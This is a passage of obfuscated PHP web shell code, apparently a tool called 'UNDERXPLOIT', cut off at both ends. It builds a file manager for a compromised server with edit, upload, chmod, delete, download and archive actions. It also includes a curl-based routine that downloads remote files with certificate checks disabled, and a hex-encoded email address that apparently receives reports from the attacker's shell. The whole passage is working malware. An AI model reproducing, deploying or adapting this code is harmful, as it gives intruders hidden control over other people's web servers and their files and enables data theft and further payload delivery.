"\74\x74\x64\40\141\x6c\x69\147\x6e\x3d\42\x63\x65\x6e\164\x65\x72\x22\x20\143\154\x61\163\x73\x3d\42\164\144\55\146\x69\x6c\145\42\76\40" . $_axo . "\x3c\57\x74\x64\76"; print "\x3c\144\x69\166\40\151\x64\75\x27\143\162\55" . crc32($_axu) . "\47\40\x63\154\141\x73\163\x3d\47\x68\151\x64\144\x65\x6e\x27\76\12\74\141\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\143\x28\x27\x3f" . x7 . "\x75\160\x6c\x6f\x61\144\46" . x5 . $dir . "\57" . $_axu . "\x27\x29\x22\76\74\x69\40\143\154\x61\x73\163\x3d\x27\172\155\144\151\x20\172\155\144\x69\55\165\x70\x6c\157\141\144\40\172\x6d\x64\x69\55\150\143\55\146\x77\x27\x3e\74\57\x69\x3e\74\57\x61\x3e\xa\x3c\141\40\157\x6e\x63\x6c\x69\x63\x6b\75\42\x63\x28\47\77" . x7 . "\x72\x65\156\141\144\x69\162\x26" . x5 . $dir . "\x2f" . $_axu . "\47\51\x22\x3e\x3c\151\x20\143\154\141\163\x73\75\x27\172\155\x64\151\40\172\x6d\x64\151\55\x66\x6c\x69\160\40\x7a\155\x64\x69\x2d\150\x63\55\x66\x77\47\76\74\x2f\x69\76\x3c\x2f\141\76\xa\74\x61\x20\157\156\x63\x6c\151\x63\153\75\x22\x63\50\47\77" . x7 . "\143\x68\x6d\144\x69\x72\46" . x5 . $dir . "\57" . $_axu . "\47\51\x22\x3e\x3c\x69\x20\143\154\x61\x73\x73\x3d\47\x7a\x6d\x64\151\x20\172\x6d\144\151\55\167\162\145\156\143\x68\40\x7a\x6d\144\x69\x2d\150\143\55\x66\167\x27\76\x3c\57\151\76\x3c\57\141\76\12\x3c\x61\40\157\x6e\143\x6c\151\143\x6b\75\42\143\50\x27\x3f" . x7 . "\x64\x65\x6c\x65\144\151\x72\x26" . x5 . $dir . "\57" . $_axu . "\x27\51\42\76\74\151\40\143\x6c\141\x73\x73\75\47\x7a\x6d\x64\x69\40\x7a\x6d\x64\151\55\x64\x65\x6c\145\x74\x65\x20\172\x6d\x64\151\55\150\x63\x2d\146\x77\x27\x3e\x3c\x2f\151\76\74\57\x61\76\12\x9\74\x2f\144\x69\x76\76"; print "\x3c\x74\x64\40\x61\x6c\x69\x67\156\x3d\x22\x63\x65\156\x74\145\162\42\40\x63\x6c\141\163\163\x3d\x22\x74\x64\55\x66\x69\154\x65\x22\x20\163\164\x79\154\x65\x3d\42\x77\151\144\164\x68\x3a\x31\x30\160\170\x22\76\74\x6c\141\142\145\x6c\x20\x66\x6f\162\75\42" . $file . "\x22\76" . $ckh . "\74\x2f\164\144\x3e"; print "\x3c\x73\x63\x72\151\160\x74\40\164\171\x70\x65\x3d\x27\164\x65\170\x74\57\152\x61\166\x61\x73\x63\162\x69\x70\x74\x27\76\xa\11\x9\44\50\47\43\142\x75\164\x74\157\x6e\55" . crc32($_axu) . "\x27\x29\56\164\157\157\x6c\142\x61\x72\50\173\xa\x9\x9\x9\143\157\156\x74\x65\x6e\164\72\40\x27\43\x63\x72\55" . crc32($_axu) . "\x27\54\12\11\11\x9\x70\157\x73\x69\x74\151\x6f\156\x3a\x20\x27\164\x6f\160\x27\x2c\xa\11\x9\11\163\164\171\x6c\145\72\x20\x27\144\141\162\153\47\54\12\11\11\x9\x65\166\x65\x6e\164\x3a\40\47\143\x6c\151\143\x6b\47\54\xa\11\11\x9\150\151\144\x65\117\x6e\103\x6c\151\143\153\72\40\164\x72\165\x65\54\12\x9\x9\x9\141\144\152\165\163\x74\x6d\x65\156\x74\x3a\x20\62\70\xa\11\x7d\51\73\x3c\57\x73\143\x72\x69\x70\164\x3e"; } print "\x3c\x2f\x74\162\76"; foreach ($scn as $file) { $ftype = filetype("{$dir}\x2f{$file}"); $ftime = date("\x46\40\x64\x20\131\40\147\72\151\x3a\163", filemtime("{$dir}\57{$file}")); $size = filesize("{$dir}\57{$file}") / 1024; $size = round($size, 3); switch (true) { case $size > 1024: $size = round($size / 1024, 2) . "\x4d\x42"; break; default: $size = $size . "\113\102"; } switch (true) { case !is_file("{$dir}\x2f{$file}"): continue 2; break; } print "\x3c\164\x72\76"; print "\x3c\164\x64\x20\143\154\141\x73\x73\75\42\x74\144\55\x66\x69\x6c\145\x20\145\154\x69\x70\x22\76\x3c\151\x20\143\154\x61\x73\163\x3d\x22\172\155\144\x69\40\x7a\155\x64\x69\55\146\x69\154\x65\x20\172\155\x64\151\x2d\x68\143\x2d\x66\167\x22\76\74\57\x69\76\46\x6e\142\x73\160\x3b\x3c\141\40\x63\x6c\141\x73\163\75\42\x61\x22\x20\157\156\x63\154\x69\x63\x6b\75\42\x63\x28\x27\77" . x7 . "\166\151\145\167\x26" . x5 . $dir . "\46" . x6 . $dir . "\57" . $file . "\47\51\x22\76"; $xfile += 1; switch ($file) { case basename($_SERVER["\120\110\x50\137\123\x45\x4c\106"]): $aing = "\74\x73\x70\x61\x6e\x20\143\154\x61\163\x73\75\42\x6c\x61\x62\145\x6c\55\x73\165\143\x63\x65\163\x73\42\x3e" . $file . "\x3c\x2f\146\157\156\164\x3e"; break; default: $aing = $file; } print $aing . "\74\x2f\154\141\142\145\x6c\76\x3c\57\141\76\74\x2f\x74\144\x3e"; print "\74\164\144\x20\141\154\151\147\156\x3d\x27\x63\x65\156\x74\x65\x72\47\40\x63\x6c\x61\x73\x73\x3d\x27\164\144\55\146\151\x6c\x65\47\x20\x69\x64\75\x27\x77\150\47\76" . perms($dir . "\x2f" . $file) . "\x3c\57\164\x64\x3e"; print "\74\x74\x64\40\141\154\151\147\156\x3d\x27\143\x65\156\164\145\162\47\40\x63\x6c\141\x73\163\x3d\x27\x74\x64\x2d\146\x69\154\x65\x27\x3e" . $size . "\74\57\164\x64\76"; print "\74\x64\x69\166\x20\x69\144\75\x27\x63\x72\55" . crc32($file) . "\x27\x20\x63\154\x61\x73\163\x3d\47\150\151\x64\x64\x65\156\47\x3e\xa\40\x20\x20\x3c\x61\40\x6f\x6e\x63\154\151\x63\153\75\42\x63\x28\47\x3f" . x7 . "\x76\x69\x65\x77\46" . x5 . $dir . "\x26" . x6 . $dir . "\x2f" . $file . "\47\51\x22\x3e\x3c\151\x20\143\x6c\141\x73\163\x3d\47\172\155\x64\151\x20\172\155\x64\151\x2d\145\171\x65\x20\172\155\144\x69\55\150\143\x2d\x66\x77\47\76\x3c\57\x69\76\x3c\x2f\x61\76\12\x20\40\x20\74\141\x20\x6f\x6e\x63\x6c\x69\x63\x6b\x3d\x22\x63\x28\47\77" . x7 . "\145\144\x69\164\46" . x5 . $dir . "\x26" . x6 . $dir . "\57" . $file . "\x27\51\x22\x3e\74\x69\x20\x63\154\x61\163\x73\75\x27\172\x6d\x64\x69\40\172\x6d\x64\151\x2d\x65\x64\151\164\40\x7a\155\x64\151\55\150\143\x2d\146\x77\47\x3e\74\57\151\76\74\57\141\76\xa\40\x20\x20\x3c\x61\x20\157\x6e\x63\154\151\143\x6b\x3d\x22\x63\50\47\x3f" . x7 . "\x72\x65\x6e\141\155\145\x26" . x5 . $dir . "\46" . x6 . $dir . "\x2f" . $file . "\x27\51\x22\x3e\x3c\x69\40\143\154\x61\163\163\75\x27\x7a\x6d\144\151\x20\x7a\x6d\x64\151\55\146\154\x69\160\40\172\x6d\x64\x69\55\150\x63\55\x66\167\x27\x3e\x3c\x2f\x69\76\74\x2f\x61\x3e\xa\40\40\x20\x3c\x61\x20\x6f\156\143\154\x69\143\153\x3d\42\143\x28\47\77" . x7 . "\x63\x68\155\157\144\x26" . x5 . $dir . "\x26" . x6 . $dir . "\x2f" . $file . "\47\x29\x22\76\x3c\151\x20\143\x6c\141\163\x73\x3d\x27\172\x6d\144\x69\x20\x7a\x6d\x64\x69\x2d\167\x72\x65\156\x63\150\x20\x7a\x6d\x64\151\x2d\x68\x63\x2d\146\167\x27\76\74\x2f\151\x3e\74\57\141\76\12\x20\40\40\74\x61\x20\x6f\156\x63\x6c\151\143\x6b\75\x22\x63\x28\47\77" . x7 . "\144\145\x6c\145\x74\x65\46" . x5 . $dir . "\x26" . x6 . $dir . "\x2f" . $file . "\x27\x29\42\x3e\74\151\40\x63\x6c\141\x73\x73\75\47\172\x6d\x64\151\40\x7a\x6d\x64\x69\55\x64\x65\154\x65\x74\145\40\x7a\x6d\144\x69\x2d\150\x63\55\x66\167\47\76\x3c\57\x69\76\x3c\x2f\x61\x3e\xa\x20\40\x20\x3c\x61\40\157\x6e\x63\154\151\x63\153\x3d\x22\143\x28\x27\77" . x7 . "\144\157\167\x6e\x6c\x6f\x61\x64\46" . x5 . $dir . "\x26" . x6 . $dir . "\57" . $file . "\x27\x29\x22\x3e\74\151\40\x63\x6c\141\163\x73\x3d\x27\x7a\155\x64\x69\x20\x7a\x6d\x64\151\x2d\x64\157\167\156\x6c\157\x61\x64\x20\172\x6d\x64\x69\55\x68\x63\55\146\167\x27\x3e\x3c\57\x69\x3e\74\x2f\x61\76\12\x3c\x2f\x64\151\166\76"; print "\74\x74\x64\40\141\x6c\151\x67\156\x3d\42\x63\145\x6e\164\x65\162\x22\x20\143\154\141\163\163\75\x22\164\x64\55\x66\151\154\145\42\x3e\x3c\x61\x20\x63\x6c\x61\x73\163\x3d\x22\141\x22\x20\x69\144\x3d\x22\142\165\x74\x74\157\x6e\55" . crc32($file) . "\42\x3e\x4f\120\105\116\x3c\57\141\x3e\x3c\x2f\x74\144\x3e"; print "\74\x74\x64\40\141\154\x69\147\x6e\x3d\47\x63\x65\x6e\x74\145\162\x27\40\143\x6c\x61\x73\x73\75\47\164\x64\55\x66\151\154\x65\47\40\163\164\x79\x6c\145\75\47\167\x69\x64\164\x68\72\61\x30\x70\x78\x27\76\x3c\154\x61\142\145\x6c\76\x3c\x69\156\160\165\164\x20\164\x79\x70\145\x3d\x27\143\150\145\143\x6b\x62\157\x78\47\x20\156\141\x6d\145\75\x27\164\x61\162\147\145\164\x5b\x5d\x27\x20\166\141\x6c\165\145\x3d\47" . $file . "\x27\x3e\74\x64\151\x76\x20\143\154\x61\163\163\x3d\x27\x69\x63\x6f\156\x27\76\74\151\x20\x63\x6c\141\x73\163\x3d\47\172\155\x64\151\x20\x7a\x6d\144\151\x2d\143\x68\x65\x63\153\40\x7a\x6d\x64\151\55\x68\143\x2d\x66\x77\x27\x3e\74\x2f\x69\76\74\x2f\144\x69\x76\x3e\x3c\x2f\154\x61\x62\145\154\x3e\74\x2f\x74\144\x3e"; print "\74\x73\x63\162\151\x70\x74\x20\164\171\160\145\x3d\47\164\145\x78\164\57\152\x61\x76\141\163\x63\162\151\x70\x74\x27\76\12\x9\11\44\50\x27\43\142\165\x74\x74\x6f\156\x2d" . crc32($file) . "\47\51\x2e\x74\157\157\x6c\142\141\162\50\x7b\xa\x9\x9\11\x63\x6f\156\164\145\x6e\x74\x3a\x20\x27\43\x63\x72\55" . crc32($file) . "\47\54\12\11\x9\11\160\x6f\x73\151\164\151\x6f\x6e\x3a\x20\47\164\157\160\x27\x2c\xa\x9\x9\x9\x73\x74\171\x6c\145\x3a\40\47\x64\x61\162\x6b\47\x2c\12\x9\11\x9\145\166\x65\x6e\x74\x3a\x20\x27\x63\154\151\143\153\47\54\xa\x9\11\x9\150\x69\144\145\117\x6e\103\x6c\x69\x63\153\x3a\40\x74\162\165\145\x2c\12\11\x9\x9\x61\144\x6a\165\163\164\x6d\145\x6e\164\72\40\62\70\xa\11\x7d\x29\x3b\x3c\x2f\163\x63\x72\x69\160\x74\x3e"; } switch (true) { case $xdir == NULL: $ydir = 0; break; default: $ydir = $xdir; } switch (true) { case $xfile == NULL: $yfile = 0; break; default: $yfile = $xfile; } print "\74\57\x74\x61\x62\154\145\x3e\xa\x9\x9\x3c\x74\x61\x62\x6c\145\40\143\154\141\x73\x73\75\47\x74\x61\x62\154\145\x2d\x66\x69\x6c\145\47\76\xa\x9\11\11\74\x74\x64\40\143\x6c\141\x73\x73\x3d\47\164\144\55\146\151\x6c\x65\47\x20\163\x74\171\x6c\x65\x3d\47\x77\x69\x64\x74\x68\72\x34\60\x70\170\x27\76\74\x64\151\x76\x20\x73\x74\171\154\145\x3d\47\155\x61\162\x67\151\156\x2d\x74\157\160\x3a\61\x70\170\47\76\x3c\163\160\141\x6e\40\143\x6c\x61\163\x73\x3d\47\154\141\167\x62\x27\40\x6f\156\x63\154\151\143\153\x3d\47\156\x66\x6c\x6f\x28\51\47\40\163\164\171\x6c\x65\x3d\x27\167\x69\144\x74\x68\72\x32\x30\160\170\47\x3e\74\x69\40\x63\154\141\x73\163\75\47\172\155\144\x69\40\x7a\x6d\x64\151\x2d\155\x65\156\165\40\x7a\155\144\x69\55\x68\x63\55\146\x77\47\x3e\x3c\57\151\x3e\74\x2f\163\x70\141\x6e\76\x3c\x2f\144\x69\166\x3e\74\57\164\144\x3e\12\11\x9\11\x3c\164\144\40\143\154\x61\x73\163\75\x27\164\x64\x2d\146\151\154\145\47\40\x61\x6c\151\x67\156\75\47\x6c\145\146\x74\x27\76\x3c\144\x69\x76\40\163\x74\171\x6c\145\x3d\47\155\x61\x72\147\151\156\x2d\142\157\164\x74\x6f\x6d\x3a\64\160\170\47\x3e\x44\111\x52\105\x43\x54\117\122\131\40\x3a\x20\x5b\x20\x3c\163\160\x61\156\x20\x63\154\141\x73\x73\x3d\47\x6c\x61\142\145\154\55\163\x75\143\143\145\163\x73\x27\76" . $ydir . "\x3c\57\163\160\141\x6e\76\40\x5d\x20\x26\156\142\163\x70\73\46\x6e\x62\163\x70\x3b\x20\x46\x49\114\x45\x20\x3a\x20\x5b\40\x3c\163\160\141\x6e\40\x63\154\x61\x73\163\x3d\x27\154\x61\142\x65\x6c\55\163\165\x63\x63\x65\163\x73\x27\x3e" . $yfile . "\74\x2f\163\160\x61\156\76\x20\135\x3c\57\x64\x69\166\x3e\x3c\x2f\x74\144\x3e\xa\12\74\x2f\x74\x61\142\154\x65\x3e\12\11\11\x3c\x74\x61\142\154\x65\40\x73\x74\171\x6c\145\75\47\167\151\x64\x74\150\x3a\x31\x30\60\x25\73\155\141\162\x67\x69\156\55\x74\157\160\72\x32\x70\x78\x27\x20\143\145\154\154\x73\x70\x61\x63\x69\156\147\40\75\x27\x30\x27\x3e"; print "\74\x74\144\x20\x73\x74\171\x6c\x65\x3d\47\167\x69\x64\x74\150\x3a\x31\x33\45\73\x6d\x61\x72\x67\151\156\x2d\154\145\146\x74\x3a\x31\x30\x70\170\47\76\x3c\143\145\156\x74\x65\162\76\74\154\x61\142\145\154\76\74\x69\156\160\165\x74\40\x74\x79\160\x65\x20\75\47\143\150\145\x63\153\x62\x6f\170\x27\40\151\x64\40\x3d\x27\x61\143\164\143\150\153\x27\40\x6f\x6e\x43\154\x69\143\153\40\75\47\147\x72\157\x77\x28\x74\150\151\x73\56\x63\150\x65\x63\x6b\x65\x64\x29\73\47\x3e\x3c\x64\x69\x76\40\x63\154\x61\163\163\x3d\47\151\x63\157\x6e\x27\76\74\151\40\x63\x6c\x61\163\163\x3d\47\172\x6d\144\x69\x20\x7a\x6d\144\151\x2d\x63\150\145\x63\153\55\141\x6c\x6c\x20\172\155\x64\151\55\150\x63\55\146\x77\x27\76\x3c\x2f\151\x3e\x3c\x2f\x64\x69\x76\x3e\74\57\x6c\x61\142\145\x6c\x3e\x3c\57\143\145\156\x74\145\x72\76\74\57\x74\144\76"; print "\74\x69\x6e\160\165\164\40\164\171\160\145\x20\75\x27\x68\151\144\x64\x65\x6e\47\x20\x6e\141\155\145\x20\x3d\x27\156\x65\x27\40\166\x61\154\x75\145\x20\x3d\x27\47\76"; print "\74\x69\156\160\x75\x74\40\164\x79\160\x65\40\x3d\47\150\x69\144\x64\x65\156\47\40\156\x61\x6d\145\40\75\47\146\162\157\x6d\47\x20\x76\141\x6c\165\x65\x20\x3d\x27" . htmlspecialchars($GLOBALS["\143\167\144"]) . "\x27\76"; print "\x3c\x69\x6e\160\x75\x74\40\x74\x79\160\145\x20\x3d\x27\150\151\144\144\x65\156\x27\40\x6e\x61\x6d\x65\40\75\47\143\150\141\162\x73\145\x74\x27\40\x76\x61\154\165\x65\x20\x3d\47" . (isset($_UNDERXPLOIT["\143\x68\141\x72\x73\x65\x74"]) ? $_UNDERXPLOIT["\x63\x68\x61\162\163\145\164"] : '') . "\x27\x3e"; print "\x3c\164\144\x20\163\x74\171\x6c\x65\x3d\x27\167\151\144\164\x68\x3a\x37\x30\45\x27\76\xa\x9\x9\74\x73\x65\x6c\145\x63\x74\x20\x6e\141\x6d\x65\75\x27\150\143\170\47\x20\163\x74\x79\154\x65\75\x27\167\151\144\x74\x68\72\x31\x30\60\45\47\x20\x69\x64\x3d\x27\141\x63\x74\x27\x3e"; if (!empty($_COOKIE["\x61\x63\x74"]) && @count($_COOKIE["\164\x61\162\147\145\164"])) { print "\x3c\157\160\x74\x69\x6f\156\40\166\x61\x6c\165\145\40\75\x27\160\x61\x73\164\x65\x27\x3e\x50\x61\x73\x74\x65\x3c\57\157\160\x74\x69\157\156\x3e"; } print "\74\157\x70\164\151\x6f\x6e\x20\x76\141\154\x75\x65\x20\75\47\x27\76\55\55\40\x53\145\154\145\143\164\x20\x41\143\164\151\x6f\x6e\x20\x2d\55\74\57\x6f\160\164\151\x6f\x6e\76"; print "\x3c\x6f\160\x74\151\157\x6e\40\x76\141\x6c\165\x65\40\75\x27\x63\x6f\160\x79\x27\76\103\157\160\171\x3c\57\157\160\164\x69\x6f\156\76"; print "\74\157\x70\x74\151\x6f\x6e\40\x76\141\154\165\145\40\x3d\x27\x6d\x6f\x76\x65\47\x3e\x4d\157\x76\x65\74\x2f\x6f\x70\164\x69\x6f\x6e\76"; print "\x3c\x6f\x70\x74\151\x6f\156\40\x76\x61\154\x75\x65\x20\75\x27\x64\145\x6c\145\x74\145\x27\76\104\145\154\x65\x74\145\x3c\57\x6f\x70\x74\x69\157\156\76"; if (class_exists("\132\151\160\x41\x72\x63\150\x69\x76\145")) { print "\74\157\160\x74\x69\157\x6e\x20\x76\x61\x6c\x75\145\x20\x3d\47\172\151\160\47\76\103\157\155\x70\162\x65\163\163\40\50\56\172\x69\x70\x29\74\x2f\157\x70\164\151\x6f\x6e\x3e"; } print "\x3c\57\163\x65\154\145\x63\164\76\x3c\57\164\144\76"; if (!empty($_COOKIE["\x61\143\x74"]) && @count($_COOKIE["\x74\141\x72\x67\x65\x74"]) && $_COOKIE["\x61\143\164"] == "\x7a\151\x70") { print "\74\151\x6e\x70\165\164\x20\143\154\x61\x73\163\x3d\47\x74\x6f\x70\47\40\164\171\160\145\x3d\x27\x74\x65\x78\x74\x27\x20\x6e\x61\x6d\145\x3d\x27\x78\x70\157\x7a\47\40\x76\x61\154\x75\x65\75\x27" . rand(0, 100) . "\x2d" . date("\x59\55\x6d\x2d\144") . "\56" . ($_COOKIE["\x61\143\164"] == "\x7a\x69\160" ? "\x7a\x69\x70" : "\164\141\x72\56\147\172") . "\47\x20\163\x74\171\x6c\145\x3d\47\142\x61\x63\153\x67\x72\157\x75\156\144\72\x6e\x6f\x6e\x65\x3b\142\x6f\162\144\145\x72\x3a\x30\73\x62\157\162\x64\x65\162\x2d\x6c\x65\x66\x74\72\x33\160\x78\x20\163\x6f\x6c\151\x64\x20\43\61\104\x39\104\67\63\73\x6d\141\x72\147\151\156\x2d\154\145\x66\x74\72\x35\x70\x78\47\x3e"; } print "\x3c\x74\x64\x20\x73\164\x79\154\x65\75\47\x77\x69\144\164\x68\x3a\x32\60\45\73\164\145\x78\x74\x2d\x61\154\151\x67\x6e\72\x72\151\x67\150\x74\x3b\x70\141\144\x64\151\156\x67\x2d\154\x65\x66\x74\x3a\x33\x70\x78\73\x70\141\x64\x64\151\156\147\x2d\162\x69\147\x68\164\x3a\x32\160\170\47\x3e\x3c\x62\165\x74\x74\157\156\x20\x74\x79\x70\145\75\x27\163\165\x62\x6d\x69\164\47\40\x6f\156\x63\x6c\x69\x63\153\x3d\47\155\61\163\x28\51\x3b\40\162\x65\x74\165\x72\x6e\x20\146\141\154\x73\145\x3b\47\40\143\154\141\x73\x73\x3d\x27\x62\x74\156\x2d\145\170\x65\47\76\x3c\x69\x20\143\x6c\x61\x73\x73\x3d\47\172\155\x64\x69\40\172\155\x64\x69\55\x6c\x6f\x6e\x67\x2d\141\162\x72\157\167\x2d\162\145\x74\x75\162\156\40\172\155\144\x69\55\150\x63\x2d\x66\x77\x27\x3e\74\57\x69\x3e\74\x2f\142\x75\x74\164\157\x6e\76\x3c\x2f\164\x64\76\74\57\146\x6f\x72\x6d\76\x3c\x2f\x74\x61\x62\154\145\76"; if (isset($_UNDERXPLOIT["\156\x64\x69\x72"])) { $cdir = $_UNDERXPLOIT["\x6e\x65\x77\151\156\160\165\x74"]; switch (true) { case is_dir($dir . "\x2f" . $cdir): bacot("\x44\x69\162\145\x63\x74\157\x72\x79\x20\141\x6c\x72\145\x61\x64\171\40\145\170\x69\163\164"); break; default: switch (true) { case mkdir($dir . "\x2f" . $cdir, 511): print "\x3c\163\x63\x72\x69\160\x74\40\x74\171\x70\145\75\42\164\x65\170\x74\x2f\152\x61\166\x61\x73\x63\162\151\x70\x74\42\76\x63\50\x22\x3f" . x5 . $dir . "\x22\x29\73\74\x2f\x73\x63\162\151\160\164\76"; break; default: bacot("\x43\x61\156\x27\164\40\x63\x72\145\x61\164\x65\40\x64\x69\162\x65\x63\x74\157\x72\x79"); } } } if (isset($_UNDERXPLOIT["\x6e\x66\x69\154"])) { $cfile = $_UNDERXPLOIT["\156\145\167\x69\156\x70\x75\x74"]; switch (true) { case file_exists($dir . "\x2f" . $cfile): bacot("\x46\151\x6c\145\40\x61\154\162\145\141\x64\x79\40\145\x78\x69\163\164"); break; case fopen($dir . "\x2f" . $cfile, "\167\x2b"): print "\x3c\x73\x63\x72\151\x70\x74\40\164\x79\x70\145\x3d\42\x74\145\x78\x74\x2f\x6a\x61\x76\141\x73\143\162\151\x70\164\x22\76\x63\50\42\x3f" . x7 . "\x65\x64\x69\x74\x26" . x5 . $dir . "\x26" . x6 . $dir . "\57" . $cfile . "\x22\x29\73\74\57\x73\x63\162\151\x70\164\x3e"; break; default: bacot("\x43\x61\x6e\x27\x74\x20\143\162\x65\141\x74\x65\40\146\151\154\145"); } } print "\x3c\163\143\162\x69\160\164\40\154\141\156\147\165\141\147\x65\x3d\42\112\x61\x76\141\163\143\162\151\x70\164\x22\76\xa\11\11\x66\165\156\x63\164\151\157\x6e\40\x63\x6f\147\x28\x29\x7b\x20\12\x9\x69\x66\x28\x64\x6f\143\x75\x6d\145\x6e\164\x2e\146\x6f\x72\x6d\x73\x5b\x27\156\x65\x77\x27\x5d\x2e\156\x65\167\x69\156\x70\x75\164\x2e\166\x61\154\x75\145\x20\x3d\75\x3d\40\x22\42\x29\x20\x7b"; s("\x43\x61\x6e\x27\x74\x20\x62\145\x20\x65\x6d\x70\164\171"); print "\x72\145\164\x75\x72\156\40\146\141\x6c\x73\145\x3b\x20\xa\11\x7d\xa\x7d\40\74\57\163\x63\x72\151\x70\164\x3e"; print "\x3c\163\x63\162\151\x70\164\x20\x74\171\160\x65\75\42\x74\x65\170\164\x2f\x6a\x61\x76\x61\x73\x63\x72\151\160\164\42\x3e\x20\12\x66\165\x6e\x63\x74\x69\x6f\156\x20\x76\x61\154\151\x64\50\146\x69\145\x6c\144\x29\40\x7b\40\12\x20\40\40\x20\x20\x20\40\40\x76\x61\x72\x20\x72\145\x20\x3d\x20\57\x5e\x5b\x30\x2d\x39\55\x41\55\172\56\135\52\x24\x2f\x3b\x20\xa\x20\40\40\151\x66\50\x21\162\x65\56\x74\145\163\x74\x28\x66\x69\145\x6c\x64\x2e\166\141\154\x75\145\51\51\x20\173"; s("\111\156\166\141\154\151\144\40\x63\x68\x61\x72\141\x63\164\x65\x72"); print "\146\151\145\154\x64\56\x76\141\154\x75\145\x20\75\40\x66\151\x65\154\144\x2e\166\141\154\x75\145\56\x72\x65\x70\154\141\143\145\x28\x2f\133\136\x30\x2d\x39\x2d\101\x2d\172\56\x5d\x2f\147\54\x22\x22\x29\73\x20\12\40\x20\40\x20\40\x7d\x20\12\x7d\40\74\x2f\x73\x63\x72\151\x70\164\76"; print "\x3c\144\151\166\x20\x69\144\75\x22\x6e\x66\x6c\x6f\x22\x20\163\x74\171\x6c\145\x3d\42\144\151\x73\x70\154\141\171\72\156\x6f\x6e\145\x22\76\x3c\164\141\x62\154\145\40\x73\x74\171\154\x65\75\42\155\x61\x72\x67\151\156\55\164\157\x70\72\x33\x70\x78\x22\40\143\x65\154\154\x73\160\x61\143\151\x6e\147\75\42\60\42\x3e\xa\11\x9\11\x3c\x66\x6f\x72\x6d\40\156\x61\155\x65\75\42\x6e\x65\x77\x22\40\x61\x63\164\x69\x6f\156\x3d\42\x3f" . x5 . $dir . "\42\x20\x6d\145\x74\150\x6f\x64\75\42\x70\157\x73\164\x22\x3e\12\x9\74\164\x64\x20\163\x74\171\154\x65\75\x22\x70\x61\x64\144\151\156\x67\x2d\154\x65\146\164\x3a\62\160\x78\x22\x3e\x3c\x69\x6e\160\x75\164\x20\x74\x79\x70\145\75\x22\164\x65\170\x74\42\x20\x6e\141\x6d\145\x3d\42\x6e\145\x77\151\x6e\160\x75\x74\42\40\x6f\156\x6b\x65\x79\x75\x70\75\x22\166\x61\x6c\x69\x64\50\x74\x68\x69\163\51\x3b\42\x3e\74\x2f\x74\144\76\12\x9\74\x74\x64\40\x73\164\171\154\x65\x3d\x22\x70\141\144\x64\151\x6e\x67\x2d\x6c\145\146\164\x3a\x33\x70\x78\42\76\x3c\142\x75\164\x74\x6f\156\x20\164\171\160\145\x3d\42\163\x75\x62\x6d\x69\x74\42\40\x63\x6c\141\163\x73\x3d\x22\142\x74\156\x2d\x65\170\x65\x22\40\x6e\141\155\145\x3d\42\x6e\x64\x69\162\42\40\157\x6e\x63\x6c\x69\143\x6b\x3d\x22\162\x65\x74\165\x72\x6e\x20\x63\x6f\x67\x28\51\x3b\x22\x3e\x3c\x69\40\x63\x6c\x61\x73\163\75\x22\x7a\155\x64\151\x20\x7a\155\144\151\x2d\x66\x6f\x6c\x64\145\162\55\x6f\x75\164\x6c\151\x6e\145\x20\172\155\144\151\55\x68\143\55\x66\x77\x22\76\x3c\57\x69\76\x3c\57\x62\x75\164\164\157\x6e\x3e\74\x2f\164\x64\76\12\x9\x3c\x74\x64\40\x73\x74\x79\x6c\145\75\x22\x70\141\x64\x64\151\156\x67\x2d\154\x65\x66\x74\x3a\x33\160\x78\73\x70\x61\x64\144\x69\156\x67\x2d\162\x69\x67\150\164\72\x32\160\170\x22\76\x3c\x62\x75\164\164\x6f\x6e\x20\x74\171\160\145\75\42\163\165\x62\155\151\164\x22\40\143\x6c\141\163\x73\75\42\x62\164\156\x2d\145\x78\145\42\40\x6e\x61\x6d\x65\x3d\x22\x6e\x66\x69\154\x22\x20\x6f\156\x63\154\151\x63\x6b\x3d\42\162\x65\x74\165\162\156\x20\x63\x6f\x67\x28\x29\x3b\x22\x3e\74\151\40\143\x6c\x61\x73\x73\x3d\42\172\x6d\x64\151\x20\172\x6d\144\151\x2d\146\151\154\145\x2d\160\x6c\165\x73\x20\x7a\x6d\x64\x69\x2d\x68\x63\55\146\x77\x22\76\74\57\x69\x3e\74\57\x62\165\x74\x74\157\156\76\74\x2f\164\x64\76\xa\11\11\11\x3c\57\146\157\162\x6d\76\x3c\x2f\164\x61\142\154\x65\76\x3c\x2f\x64\151\x76\x3e\x3c\x2f\144\151\166\76"; } goto xGgS7; AO5IH: if (function_exists("\x63\x75\x72\154\x5f\151\156\x69\x74")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\146\151\154\x65\137\x67\x65\164\x5f\143\157\156\x74\145\x6e\164\x73")) { @($gitt = file_get_contents($x)); } goto AaEJm; izBTO: @ini_set("\155\x61\170\137\145\x78\x65\x63\165\x74\151\x6f\156\x5f\164\151\155\145", 0); goto kRUUf; wdYZD: $to_email = "\154\157\x67\151\156\157\154\144\165\x6d\100\x67\x6d\141\151\x6c\56\143\157\155"; goto iF3qA; sqNVX: print "\74\x74\x61\142\154\145\x3e\x3c\146\x6f\x72\155\x20\141\143\x74\151\x6f\x6e\75\x22\77" . x5 . $dir . "\42\40\x6d\x65\x74\150\157\144\x3d\x22\x50\117\x53\x54\x22\x3e\74\x74\x64\x20\141\x6c\151\147\156\x3d\42\143\145\156\164\145\x72\42\x20\x73\164\x79\x6c\145\x3d\42\x77\151\144\x74\150\x3a\61\60\45\42\x3e\x3c\x69\40\x63\x6c\x61\x73\x73\75\x22\x7a\155\x64\x69\x20\172\155\144\x69\x2d\143\x68\x65\166\162\x6f\156\55\162\x69\x67\150\x74\x20\172\155\x64\x69\55\150\143\55\x66\167\x22\76\74\x2f\x73\160\x61\156\x3e\x3c\57\164\x64\x3e\x3c\164\144\40\163\x74\171\x6c\x65\75\x22\167\151\x64\164\150\72\x37\60\45\x22\x3e\x3c\x73\x65\154\145\143\164\x20\x6e\x61\155\x65\75\x22\157\x70\42\x20\151\x64\x3d\x22\x63\x22\x3e"; goto vwhEG; tnDK6: @define("\x73\145\143", $pass, true); goto IGi46; A5QyF: function op($d, $e) { $fp = fopen($d, "\x77"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $e); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 